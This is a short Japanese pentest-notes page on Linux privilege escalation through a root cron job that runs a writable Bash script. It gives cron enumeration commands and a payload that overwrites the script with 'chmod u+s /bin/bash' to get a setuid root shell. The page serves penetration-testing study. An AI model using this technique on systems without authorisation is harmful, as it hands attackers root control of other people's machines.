> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/privesc/cron-jobs/modified-bash-script-cron-job-linux-privilege-escalation.md).

# 修正済み Bash スクリプトの cron ジョブ - Linux 権限昇格

Linux 権限昇格のための cron ジョブ - 修正済みスクリプト（Bash）メモ。列挙手順、悪用例、レポート重視の検証を含む。

## それは何か

Cronジョブは、rootの繰り返しタスクが書き込み可能なスクリプト、危険な相対パス、または脆弱な処理系を実行する場合に、権限昇格の経路を生み出します。重要なのは、低権限ユーザーが、権限のあるスケジュールタスクが実行する何かを制御していることを示すことです。この特定のページでは **Cronジョブ - 変更されたスクリプト (Bash)** を扱い、実際的なエクスプロイトの流れを重視します。条件を特定し、安全に検証し、その後、影響を証明するために必要最小限のペイロードを実行します。

## 列挙

エクスプロイト手順を実行する前に、ローカル環境と正確な設定ミスを確認することから始めます。

```bash
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers --all
```

## 例

この場合、script.sh \*\* が実行中\*\* であることがわかります:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a4563a9d7f57e0390d07219e10001f1d90cc466%2FPasted%20image%2020231121233702.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

私たちが行うのは **変更する** スクリプトを次の内容に変更します:

```bash
sleep 2
chmod u+s /bin/bash
```

Bash を次の **p** 権限パラメータ:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ebee68cbc948dea5dc3c0763766b3bfc0d3f435%2FPasted%20image%2020231121234424.png?alt=media" alt=""><figcaption></figcaption></figure>


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